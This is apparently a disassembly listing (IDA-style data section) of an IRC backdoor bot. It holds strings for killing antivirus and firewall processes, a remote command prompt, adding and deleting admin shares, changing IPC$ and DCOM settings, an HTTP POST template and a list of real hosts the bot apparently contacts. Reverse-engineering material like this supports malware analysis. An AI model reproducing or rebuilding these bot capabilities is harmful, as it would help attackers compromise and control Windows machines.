dd offset aZonealarm_exe ; "zonealarm.exe"
dd offset aWincfg32_exeta ; "wincfg32.exetaskmon.exe"
dd offset aPandaavengine_ ; "PandaAVEngine.exe"
dd offset dword_43C4C0
dd offset dword_43C4B4
dd offset dword_43C4A8
dd offset dword_43C49C
dd offset dword_43C490
dd offset dword_43C484
dd offset dword_43C474
dd offset dword_43C468
dd offset dword_43C45C
dd offset dword_43C450
dd offset dword_43C444
dd offset dword_43C434
dd offset dword_43C428
dd offset dword_43C418
dword_43C418 dd 72313169h, 346E3435h, 6578652Eh, 0dword_43C428 dd 6E757269h, 78652E34h, 65hdword_43C434 dd 75643364h, 74616470h, 78652E65h, 65hdword_43C444 dd 65746172h, 6578652Eh, 0dword_43C450 dd 74617373h, 78652E65h, 65hdword_43C45C dd 736E6977h, 652E7379h, 6578hdword_43C468 dd 756E6977h, 652E6470h, 6578hdword_43C474 dd 4D737953h, 50586E6Fh, 6578652Eh, 0dword_43C484 dd 61656262h, 2E656C67h, 657865hdword_43C490 dd 696E6550h, 2E323373h, 657865hdword_43C49C dd 6B656574h, 2E736469h, 657865hdword_43C4A8 dd 4C42534Dh, 2E545341h, 657865hdword_43C4B4 dd 7663736Dh, 2E323362h, 657865hdword_43C4C0 dd 69737973h, 2E6F666Eh, 657865haPandaavengine_ db 'PandaAVEngine.exe',0 ; DATA XREF: .packed:0043C3DCo
align 10h
aWincfg32_exeta db 'wincfg32.exetaskmon.exe',0 ; DATA XREF: .packed:0043C3D8o
aZonealarm_exe db 'zonealarm.exe',0 ; DATA XREF: .packed:0043C3D4o
align 4
aNavapw32_exe db 'navapw32.exe',0 ; DATA XREF: .packed:0043C3D0o
align 4
aNavw32_exe db 'navw32.exe',0 ; DATA XREF: .packed:0043C3CCo
align 4
aZapro_exe db 'zapro.exe',0 ; DATA XREF: .packed:0043C3C8o
align 10h
aMsblast_exe db 'msblast.exe',0 ; DATA XREF: .packed:0043C3C4o
aNetstat_exe db 'netstat.exe',0 ; DATA XREF: .packed:0043C3C0o
aMsconfig_exe db 'msconfig.exe',0 ; DATA XREF: .packed:0043C3BCo
align 4
aRegedit_exe db 'regedit.exe',0 ; DATA XREF: .packed:off_43C3B8o
aSD_0 db ' %s (%d)',0 ; DATA XREF: sub_419E77+181o
align 10h
unk_43C570 db 2Dh ; - ; DATA XREF: sub_41A09A:loc_41A127o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aProcessListFai db ' process list failed',0
align 4
unk_43C594 db 2Dh ; - ; DATA XREF: sub_41A09A+86o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aProcessListCom db ' process list complete',0
align 4
unk_43C5B8 db 2Dh ; - ; DATA XREF: sub_41A09A+19o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aListingProcess db ' listing processes:',0
aPrivmsgSS db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_41A237+33o
unk_43C5E8 db 2Dh ; - ; DATA XREF: sub_41A2BE:loc_41A3F0o
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aCouldNotReadDa db '- Could not read data from proccess.',0Dh,0Ah,0
unk_43C618 db 2Dh ; - ; DATA XREF: sub_41A2BE+10Fo
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aProccessHasTer db '- Proccess has terminated.',0Dh,0Ah,0
align 10h
unk_43C640 db 2Dh ; - ; DATA XREF: sub_41A2BE:loc_41A3A4o
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aCouldNotRead_0 db '- Could not read data from proccess',0Dh,0Ah,0
align 10h
unk_43C670 db 2Dh ; - ; DATA XREF: sub_41A413+194o
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aFailedToStartI db '- Failed to start IO thread, error: <%d>.',0
align 4
unk_43C6A4 db 2Dh ; - ; DATA XREF: sub_41A413+14Co
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aRemoteCommandP db '- Remote Command Prompt',0
align 4
dword_43C6C8 dd 1D4C0h off_43C6CC dd offset dword_43C704 ; DATA XREF: sub_41A628:loc_41A7DDr
; sub_41A628+1C3r ...
dword_43C6D0 dd 0 dd offset dword_43C6FC
dd 0
dd offset dword_43C6F8
dd offset dword_43C6F4
dd offset dword_43C6F0
dd offset dword_43C6EC
dword_43C6EC dd 5C3A44h dword_43C6F0 dd 2444h dword_43C6F4 dd 5C3A43h dword_43C6F8 dd 2443h dword_43C6FC dd 494D4441h, 244Ehdword_43C704 dd 24435049h, 0 dword_43C70C dd 234032Dh, 75636573h, 3026572h ; sub_41A94E+2DDo
aNetapi32_dllCo db '- Netapi32.dll couldn',27h,'t be loaded.',0
align 4
dword_43C73C dd 234032Dh, 75636573h, 3026572haNetworkSharesD db '- Network shares deleted.',0
align 4
dword_43C764 dd 234032Dh, 75636573h, 3026572haFailedToDelete db '- Failed to delete ',27h,'%S',27h,' share.',0
align 10h
dword_43C790 dd 234032Dh, 75636573h, 3026572haShareSDeleted_ db '- Share ',27h,'%S',27h,' deleted.',0
align 4
dword_43C7B4 dd 234032Dh, 75636573h, 3026572haFailedToDele_0 db '- Failed to delete ',27h,'%s',27h,' share.',0
align 10h
dword_43C7E0 dd 234032Dh, 75636573h, 3026572haShareSDelete_0 db '- Share ',27h,'%s',27h,' deleted.',0
align 4
dword_43C804 dd 234032Dh, 75636573h, 3026572h ; sub_41A94E:loc_41AA7Co
aAdvapi32_dllCo db '- Advapi32.dll couldn',27h,'t be loaded.',0
align 4
dword_43C834 dd 234032Dh, 75636573h, 3026572haFailedToOpenIp db '- Failed to open IPC$ Restriction registry key.',0
dword_43C870 dd 234032Dh, 75636573h, 3026572haRestrictedAcce db '- Restricted access to the IPC$ Share.',0
align 4
dword_43C8A4 dd 234032Dh, 75636573h, 3026572haFailedToRestri db '- Failed to restrict access to the IPC$ Share.',0
align 10h
aRestrictanonym db 'restrictanonymous',0 ; DATA XREF: sub_41A628+EDo
; sub_41A94E+EDo
align 4
dword_43C8F4 dd 234032Dh, 75636573h, 3026572h ; sub_41A94E+91o
aFailedToOpenDc db '- Failed to open DCOM registry key.',0
dword_43C924 dd 234032Dh, 75636573h, 3026572h, 4344202Dh, 64204D4Fh
; DATA XREF: sub_41A628:loc_41A69Bo
dd 62617369h, 2E64656Ch, 0
dword_43C944 dd 234032Dh, 75636573h, 3026572haDisableDcomFai db '- Disable DCOM failed.',0
align 4
aEnabledcom db 'EnableDCOM',0 ; DATA XREF: sub_41A628+54o
; sub_41A94E+54o
align 4
dword_43C974 dd 234032Dh, 75636573h, 3026572haNetworkSharesA db '- Network shares added.',0
aC_1 db '%c:\',0 ; DATA XREF: sub_41A94E+22Fo
align 10h
aC_2 db '%c$',0 ; DATA XREF: sub_41A94E+21Eo
dword_43C9A4 dd 234032Dh, 75636573h, 3026572h ; sub_41A94E:loc_41ABC6o
aFailedToAddSSh db '- Failed to add ',27h,'%s',27h,' share.',0
dword_43C9CC dd 234032Dh, 75636573h, 3026572h ; sub_41A94E+271o
aShareSAdded_ db '- Share ',27h,'%s',27h,' added.',0
dword_43C9EC dd 234032Dh, 75636573h, 3026572haFailedToOpen_0 db '- Failed to open IPC$ restriction registry key.',0
dword_43CA28 dd 234032Dh, 75636573h, 3026572haUnrestrictedAc db '- Unrestricted access to the IPC$ Share.',0
align 10h
dword_43CA60 dd 234032Dh, 75636573h, 3026572haFailedToUnrest db '- Failed to unrestrict access to the IPC$ Share.',0
align 10h
dword_43CAA0 dd 234032Dh, 75636573h, 3026572h, 4344202Dh, 65204D4Fh
; DATA XREF: sub_41A94E:loc_41A9C1o
dd 6C62616Eh, 2E6465h
dword_43CABC dd 234032Dh, 75636573h, 3026572haEnableDcomFail db '- Enable DCOM failed.',0
align 10h
aPostHttp1_0Hos db 'POST / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41ACA2+DEo
db 'Host: %s',0Dh,0Ah
db 'Content-Length: %d',0Dh,0Ah
db 0Dh,0Ah,0
align 8
dword_43CB18 dd 234032Dh, 65657073h, 73657464h, 2D030274h, 75450220h
; DATA XREF: sub_41AE7F+1A7o
dd 65706F72h, 25203A02h, 626B2064h, 732F7469h, 53550220h
dd 203A0241h, 6B206425h, 2F746962h, 41022073h, 2616973h
dd 6425203Ah, 69626B20h, 20732F74h, 65764102h, 65676172h
dd 25203A02h, 626B2064h, 732F7469h, 0
aWww_google_co_ db 'www.google.co.jp',0 ; DATA XREF: sub_41AE7F+C4o
align 4
aYahoo_co_jp db 'yahoo.co.jp',0 ; DATA XREF: sub_41AE7F+BDo
aWww_nifty_com db 'www.nifty.com',0 ; DATA XREF: sub_41AE7F+B6o
align 4
aWww_d1asia_com db 'www.d1asia.com',0 ; DATA XREF: sub_41AE7F+AFo
align 4
aWww_st_lib_kei db 'www.st.lib.keio.ac.jp',0 ; DATA XREF: sub_41AE7F+A8o
align 10h
aWww_lib_nthu_e db 'www.lib.nthu.edu.tw',0 ; DATA XREF: sub_41AE7F+A1o
aWww_google_com db 'www.google.com',0 ; DATA XREF: sub_41AE7F+9Ao
align 4
aWww_easynews_c db 'www.easynews.com',0 ; DATA XREF: sub_41AE7F+93o
align 4
aWww_above_net db 'www.above.net',0 ; DATA XREF: sub_41AE7F+8Co
align 4
aWww_level3_com db 'www.level3.com',0 ; DATA XREF: sub_41AE7F+85o
align 4
aNitro_ucsc_edu db 'nitro.ucsc.edu',0 ; DATA XREF: sub_41AE7F+7Eo
align 4
aWww_burst_net db 'www.burst.net',0 ; DATA XREF: sub_41AE7F+77o
align 4
aWww_cogentco_c db 'www.cogentco.com',0 ; DATA XREF: sub_41AE7F+70o
align 4
aWww_rit_edu db 'www.rit.edu',0 ; DATA XREF: sub_41AE7F+69o
aWww_nocster_co db 'www.nocster.com',0 ; DATA XREF: sub_41AE7F+62o
aWww_verio_com db 'www.verio.com',0 ; DATA XREF: sub_41AE7F+5Bo
align 4
aWww_stanford_e db 'www.stanford.edu',0 ; DATA XREF: sub_41AE7F+54o
align 4
aWww_xo_net db 'www.xo.net',0 ; DATA XREF: sub_41AE7F+4Do
align 4
aWww_google_it db 'www.google.it',0 ; DATA XREF: sub_41AE7F+46o
align 4
aDe_yahoo_com db 'de.yahoo.com',0 ; DATA XREF: sub_41AE7F+3Fo
align 4
aWww_belwue_de db 'www.belwue.de',0 ; DATA XREF: sub_41AE7F+38o
align 4
aWww_switch_ch db 'www.switch.ch',0 ; DATA XREF: sub_41AE7F+31o
align 4
aWww_1und1_de db 'www.1und1.de',0 ; DATA XREF: sub_41AE7F+2Ao
align 4
aVerio_fr db 'verio.fr',0 ; DATA XREF: sub_41AE7F+23o
align 4
aWww_utwente_nl db 'www.utwente.nl',0 ; DATA XREF: sub_41AE7F+1Co
align 4
aWww_schlund_ne db 'www.schlund.net',0 ; DATA XREF: sub_41AE7F+15o
aDdDhDm db '%dd %dh %dm',0 ; DATA XREF: sub_41B05C+39o
dword_43CD30 dd 234032Dh, 69737973h, 26F666Eh, 2202D03h, 2555043h, 4925203Ah
; DATA XREF: sub_41B1FC+297o
dd 4D753436h, 202E7A48h, 4D415202h, 25203A02h, 20424B73h
dd 61746F74h, 25202C6Ch, 20424B73h, 65657266h, 4402202Eh
dd 26B7369h, 7325203Ah, 746F7420h, 202C6C61h, 66207325h
dd 2E656572h, 534F0220h, 57203A02h, 6F646E69h, 25207377h
dd 25282073h, 64252E64h, 7542202Ch, 20646C69h, 2E296425h
dd 79530220h, 72696473h, 25203A02h, 2202E73h, 74736F48h
dd 656D616Eh, 25203A02h, 25282073h, 202E2973h, 72754302h
dd 746E6572h, 65735520h, 203A0272h, 202E7325h, 74614402h
dd 203A0265h, 202E7325h, 6D695402h, 203A0265h, 202E7325h
dd 74705502h, 2656D69h, 7325203Ah, 2Eh
dword_43CE0C dd 4D3A6464h, 793A4D4Dh, 797979haCouldnTResolve db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_41B1FC:loc_41B360o
align 10h
aSS_2 db '%s (%s)',0 ; DATA XREF: sub_41B1FC+EBo
dword_43CE38 dd 234032Dh, 6974656Eh, 26F666Eh, 2202D03h, 65707954h
; DATA XREF: sub_41B4B0+ABo
dd 25203A02h, 25282073h, 202E2973h, 20504902h, 72646441h
dd 2737365h, 7325203Ah, 4802202Eh, 6E74736Fh, 2656D61h
dd 7325203Ah, 2Eh
off_43CE7C dd offset loc_412F4E ; DATA XREF: sub_41B4B0:loc_41B524o
off_43CE80 dd offset dword_4E414C ; DATA XREF: sub_41B4B0:loc_41B51Do
dword_43CE84 dd 6C616944h, 70752Dhdword_43CE8C dd 20746F4Eh, 6E6E6F63h, 65746365h, 64hunk_43CE9C db 2Dh ; - ; DATA XREF: sub_41B576:loc_41B733o
db 3, 34h, 2
db 76h ; v
db 69h, 73h, 69h
db 74h ; t
db 2, 3, 2Dh
aFailedToConn_0 db ' Failed to connect to HTTP server.',0
align 4
unk_43CECC db 2Dh ; - ; DATA XREF: sub_41B576:loc_41B72Co
db 3, 34h, 2
db 76h ; v
db 69h, 73h, 69h
db 74h ; t
db 2, 3, 2Dh
aCouldNotOpenAC db ' Could not open a connection.',0
align 4
dword_43CEF8 dd 234032Dh, 69736976h, 2D030274h, 766E4920h, 64696C61h
; DATA XREF: sub_41B576+1A6o
dd 4C525520h, 2Eh
unk_43CF14 db 2Dh ; - ; DATA XREF: sub_41B576:loc_41B70Fo
db 3, 34h, 2
db 76h ; v
db 69h, 73h, 69h
db 74h ; t
db 2, 3, 2Dh
aFailedToGetReq db ' Failed to get requested URL from HTTP server.',0
align 10h
dword_43CF50 dd 234032Dh, 69736976h, 2D030274h, 4C525520h, 73697620h
; DATA XREF: sub_41B576+192o
dd 64657469h, 2Eh
dword_43CF6C dd 2A2F2Ah dword_43CF70 dd 0A4D0628h align 10h
dword_43CF80 dd 173Fh dd 9875h, 9873h
off_43CF8C dd offset sub_41CF18 ; DATA XREF: sub_41BF54r
dd offset nullsub_2
dd offset nullsub_2
dword_43CF98 dd 1B3Fh dword_43CF9C dd 19930520h, 4 dup(0) ; sub_41D41A+2o
off_43CFB0 dd offset sub_41BF92 ; DATA XREF: sub_41E229+1Cr
dword_43CFB4 dd 2 ; sub_423EAD+46r ...
dd 10h, 0
off_43CFC0 dd offset off_43CFC0 ; DATA XREF: sub_41F176+Do
; sub_41F176+69o ...
off_43CFC4 dd offset off_43CFC0 ; DATA XREF: sub_41F176:loc_41F1F6r
; sub_41F176+89w ...
dd offset dword_43CFD8
dd offset dword_43CFD8
dword_43CFD0 dd 0FFFFFFFFh ; sub_41F2BA:loc_41F307w
dd 0FFFFFFFFh
dword_43CFD8 dd 0F0h, 0F1h, 800h dup(0) ; .packed:0043CFCCo
off_43EFE0 dd offset off_43CFC0 ; DATA XREF: sub_41F2BA+15r
; sub_41F2BA+20w ...
dword_43EFE4 dd 1E0h ; sub_41BCE3:loc_41BD1Fr ...
off_43EFE8 dd offset word_43EFF2 ; DATA XREF: sub_41BEBE+23r
; sub_41BEBE:loc_41BF1Fr ...
off_43EFEC dd offset word_43EFF2 ; DATA XREF: sub_427461+18r
db 2 dup(0)
word_43EFF2 dw 20h ; DATA XREF: sub_425680+18r
; .packed:off_43EFE8o ...
unicode 0, < ((((( H>
dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
dword_43F1F4 dd 1 ; sub_41BEBE:loc_41BF0Ar ...
byte_43F1F8 db 2Eh ; DATA XREF: sub_420D10:loc_421004r
; sub_420D10+311r ...
align 4
dd 1
off_43F200 dd offset aNull_0 ; DATA XREF: sub_41FE9F:loc_420203r
; sub_41FE9F+457r
; "(null)"
off_43F204 dd offset aNull ; DATA XREF: sub_41FE9F+259r
; "(null)"
byte_43F208 db 1 ; DATA XREF: sub_4206A9+E1r
db 2, 4, 8
align 10h
dword_43F210 dd 3A4h dword_43F214 dd 82798260h, 21h, 0dword_43F220 dd 0DFA6h align 8
dd 0A5A1h, 0
dd 0FCE09F81h, 0
dd 0FC807E40h, 0
dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
dd 0FE81h, 0
dd 0FE40h, 0
dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
dd 0FE81h, 0
dd 0FE41h, 0
dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
dd 0FE81h, 0
dd 0FEA17E40h, 0
dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_43F300 dd 1 ; sub_420BDF+Co
dword_43F304 dd 16h dd 2 dup(2), 3, 2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
dd 9, 0Ch, 0Ah, 7, 0Bh, 8, 0Ch, 16h, 0Dh, 16h, 0Fh, 2
dd 10h, 0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h, 2, 41h
dd 0Dh, 43h, 2, 50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
dd 59h, 0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h, 9, 6, 16h
dd 80h, 0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
dd 29h, 9Eh, 0Dh, 0A1h, 2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
dd 11h, 0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
dword_43F468 dd 0D2D0920h, 5Dh ; sub_420D10:loc_421277o
dword_43F470 dd 5Dh, 0 dword_43F478 dd 14h off_43F47C dd offset aExp ; DATA XREF: sub_421E24:loc_421E41r
; "exp"
dd 1Dh, 42887Ch, 1Ah, 428878h, 1Bh, 428870h, 1Fh, 428868h
dd 13h, 428860h, 21h, 428858h, 0Eh, 428850h, 0Dh, 428848h
dd 0Fh, 428840h, 10h, 428838h, 5, 428830h, 1Eh, 42882Ch
dd 12h, 428828h, 20h, 428824h, 0Ch, 42881Ch, 0Bh, 428814h
dd 15h, 42880Ch, 1Ch, 428804h, 19h, 4287FCh, 11h, 4287F4h
dd 18h, 4287ECh, 16h, 4287E4h, 17h, 4287DCh, 22h, 4287D8h
dd 23h, 4287D4h, 24h, 4287D0h
dbl_43F550 dq 1.797693134862316e308 ; DATA XREF: sub_421B5F+B7r
; sub_421B5F:loc_421C46r ...
dd 0
dd 0FFF80000h
dbl_43F560 dq 1.797693134862316e308 ; DATA XREF: sub_421B5F+92r
; sub_421B5F:loc_421C1Er ...
dd 0
dd 100000h, 0
dd 80000000h
tbyte_43F578 dt 2.3562723457267347066e313 ; DATA XREF: sub_42200C+Dr
; sub_42200C+1Fr
align 4
tbyte_43F584 dt 1.9149954921904370718e-1233 ; DATA XREF: sub_42200C+31r
align 10h
off_43F590 dd offset sub_4224A0 ; DATA XREF: sub_41CF30+Fw
; sub_41FE9F+3AAr
off_43F594 dd offset sub_422135 ; DATA XREF: sub_41CF30+5w
; sub_41FE9F+3E2r
off_43F598 dd offset sub_42219B ; DATA XREF: sub_41CF30+14w
; sub_420D10+430r
off_43F59C dd offset sub_4220DB ; DATA XREF: sub_41CF30+1Ew
; sub_41FE9F+3CBr
off_43F5A0 dd offset sub_422183 ; DATA XREF: sub_41CF30+28w
off_43F5A4 dd offset sub_4224A0 ; DATA XREF: sub_41CF30+32w
dd offset sub_424F3C
align 10h
dd offset sub_422D5C
off_43F5B4 dd offset sub_422D5C ; DATA XREF: sub_422DB2+29r
off_43F5B8 dd offset dword_4DE480 ; DATA XREF: sub_422F2B+55o
align 10h
dd offset dword_4DE480
dd 101h
dword_43F5C8 dd 0FFFFFFFFh, 0 dd 1000h, 0
dword_43F5D8 dd 3 dup(0) ; sub_41FD8A+50o ...
dd 2, 0FFFFFFFFh, 3 dup(0)
dword_43F5F8 dd 3 dup(0) ; sub_420C46:loc_420C64o
dd 2, 0FFFFFFFFh, 7 dup(0)
dword_43F628 dd 84h dup(0) dword_43F838 dd 0C0000005h ; sub_423713+Ar ...
dword_43F83C dd 0Bh dd 0
dd 0C000001Dh, 4, 0
dd 0C0000096h, 4, 0
db 8Dh, 0
dw 0C000h
dd 8, 0
dd 0C000008Eh, 8, 0
dd 0C000008Fh, 8, 0
db 90h
db 2 dup(0), 0C0h
dd 8, 0
dd 0C0000091h, 8, 0
dd 0C0000092h, 8, 0
dd 0C0000093h, 8, 0
dword_43F8B0 dd 3 ; sub_426185+C8r
dword_43F8B4 dd 7 ; sub_426185+CDr
dword_43F8B8 dd 0Ah ; sub_4262B2+4r
dword_43F8BC dd 8Ch ; sub_4235D2+8Fw ...
dword_43F8C0 dd 0FFFFFFFFh, 0A00h ; sub_41FD8A:loc_41FE47o
dword_43F8C8 dd 2 ; sub_423EAD+28r
off_43F8CC dd offset aR6002FloatingP ; DATA XREF: sub_423EAD+FCr
; sub_423EAD+12Dr
; "R6002\r\n- floating point not loaded\r\n"
dd 8, 428B9Ch, 9, 428B70h, 0Ah, 428B4Ch, 10h, 428B20h
dd 11h, 428AF0h, 12h, 428ACCh, 13h, 428AA0h, 18h, 428A68h
dd 19h, 428A40h, 1Ah, 428A08h, 1Bh, 4289D0h, 1Ch, 4289A8h
dd 78h, 428998h, 79h, 428988h, 7Ah, 428978h, 0FCh, 436514h
dd 0FFh, 428968h
dword_43F958 dd 2 dup(0) dword_43F960 dd 2694h ; sub_421814+46r
align 8
dword_43F968 dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFhdword_43F980 dd 80h, 0FFFFFF81h, 18h, 8, 20h, 7Fhdword_43F998 dd 7080h ; sub_42501C+5Ew ...
dword_43F99C dd 1 ; sub_42501C+8Bw ...
dword_43F9A0 dd 0FFFFF1F0h ; sub_42501C+94w ...
dword_43F9A4 dd 545350h, 0Fh dup(0)dword_43F9E4 dd 544450h, 0Fh dup(0)off_43FA24 dd offset dword_43F9A4 ; DATA XREF: sub_42501C+BAr
; sub_42501C+D9r ...
off_43FA28 dd offset dword_43F9E4 ; DATA XREF: sub_42501C+F4r
; sub_42501C+11Br ...
align 10h
dword_43FA30 dd 0FFFFFFFFh ; sub_42527A+1Er ...
dword_43FA34 dd 0 ; sub_425426+BFw
dword_43FA38 dd 0 ; sub_425426+E0w
align 10h
dword_43FA40 dd 0FFFFFFFFh ; sub_42527A+26r ...
dword_43FA44 dd 0 ; sub_425426+EAw ...
dword_43FA48 dd 0 ; sub_425426+23r ...
dword_43FA4C dd 0FFFFFFFFh dd 1Eh, 3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h, 0F3h, 111h, 130h
dd 14Eh
dword_43FA7C dd 16Dh ; sub_425426+2Er ...
dword_43FA80 dd 0FFFFFFFFh dd 1Eh, 3Ah, 59h, 77h, 96h, 0B4h, 0D3h, 0F2h, 110h, 12Fh
dd 14Dh, 16Ch, 0
dword_43FAB8 dd 2 dup(0) dd 4002A000h, 2 dup(0)
dd 4005C800h, 2 dup(0)
dd 4008FA00h, 2 dup(0)
dd 400C9C40h, 2 dup(0)
; ---------------------------------------------------------------------------
push eax
retn
; ---------------------------------------------------------------------------
dw 400Fh
dd 2 dup(0)
dd 4012F424h, 0
dd 80000000h, 40169896h, 0
dd 20000000h, 4019BEBCh, 0
dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h
dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h
dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h
dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh, 40D3C278h
dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h
dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h
dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h
dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h, 0A0AEA60Eh
dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h
dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh
dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h, 5D25D88Bh
dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch
dd 52028A20h, 7525C460h, 0
dword_43FC18 dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h
; DATA XREF: sub_42660A+1Bo
dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h, 652CD3C3h
dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h, 3FEEA7C5h
dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h, 94D5E57Ah
dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh, 0E15B4C2Fh
dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh
dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h, 313BBABCh
dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h, 8D2FEED7h
dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh
dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h
dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh, 3B03A686h
dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h, 0EE32DB23h
dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h, 11B268E2h
dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh
dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh, 0BF3C9157h
dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h, 9FDE2DE4h
dd 4C8D2CEh, 0AD8A6DDh, 0
off_43FD78 dd offset off_428D90 ; DATA XREF: .packed:00428F14o
; .packed:00429014o
align 10h
a_?avexception@ db '.?AVexception@@',0
off_43FD90 dd offset off_428D90 ; DATA XREF: .packed:off_428E00o
; .packed:00428E94o ...
align 8
a_?avlogic_erro db '.?AVlogic_error@std@@',0
align 10h
off_43FDB0 dd offset off_428D90 ; DATA XREF: .packed:off_428E18o
; .packed:00428E5Co ...
align 8
a_?avlength_err db '.?AVlength_error@std@@',0
align 10h
off_43FDD0 dd offset off_428D90 ; DATA XREF: .packed:off_428EA0o
; .packed:00428EE4o ...
align 8
a_?avout_of_ran db '.?AVout_of_range@std@@',0
align 10h
off_43FDF0 dd offset off_428D90 ; DATA XREF: .packed:off_428F20o
; .packed:00428F5Co
align 8
a_?avtype_info@ db '.?AVtype_info@@',0
dd offset sub_424F3C
align 10h
dword_43FE10 dd 0 byte_43FE14 db 0 ; DATA XREF: sub_401132+62o
; sub_401252+241o ...
align 4
dword_43FE18 dd 0 ; sub_401B66+A6Do ...
dd 5 dup(0)
dword_43FE30 dd 0 ; sub_4156AD+60r
dd 2D9h dup(0)
dword_440998 dd 0 ; sub_401B66+5E8Br ...
dd 7Fh dup(0)
dword_440B98 dd 0 ; sub_40B0C8+3Aw ...
dword_440B9C dd 0 ; sub_40B0C8+40w ...
dword_440BA0 dd 0 ; sub_40B0C8+34r ...
dword_440BA4 dd 0 ; sub_401891+B9w ...
dword_440BA8 dd 0 ; sub_40B2A3+2Aw ...
dword_440BAC dd 0 ; sub_401252+439w ...
byte_440BB0 db 0 ; DATA XREF: sub_401891+91o
; sub_401B66+5CD1r ...
align 4
dd 12E7h dup(0)
dword_445750 dd 473Ch dup(0) db 0
byte_457441 db 3 dup(0) ; DATA XREF: .packed:off_43B184o
dd 0E304h dup(0)
dword_490054 dd 7FFFh dup(0) ; .packed:00434491o
db 2 dup(0)
word_4B0052 dw 0 ; DATA XREF: .packed:00434487o
dd 147Ch dup(0)
db 0
byte_4B5245 db 3 dup(0) ; DATA XREF: .packed:0043AFF0o
dd 3E7Fh dup(0)
dword_4C4C44 dd 2355h dup(0) dword_4CD998 dd 0 ; sub_40AF8D+13o ...
dword_4CD99C dd 0 ; sub_401B66:loc_4044ECr ...
dword_4CD9A0 dd 0 dword_4CD9A4 dd 20h dup(0) ; sub_401252+5A2o ...
dword_4CDA24 dd 10h dup(0) dword_4CDA64 dd 24h dup(0) dword_4CDAF4 dd 0 ; sub_401252+5B9w ...
dword_4CDAF8 dd 0 dd 2 dup(0)
dword_4CDB04 dd 0 ; sub_401B66:loc_403BF9r ...
dword_4CDB08 dd 0 dword_4CDB0C dd 0 ; sub_401B66+268r
byte_4CDB10 db 0 ; DATA XREF: sub_4019F7+10r
; sub_4019F7+23o
align 4
dword_4CDB14 dd 0 ; sub_401252+56Dr ...
dword_4CDB18 dd 0 ; sub_401B66+823r
word_4CDB1C dw 0 ; DATA XREF: sub_401B66+7C41o
; sub_40C816+13o ...
align 10h
dword_4CDB20 dd 0 ; resolved to->GDI32.DeleteDC ; sub_409A1D+4EBr ...
dword_4CDB24 dd 0 ; resolved to->KERNEL32.Module32First ; sub_419E77+156r
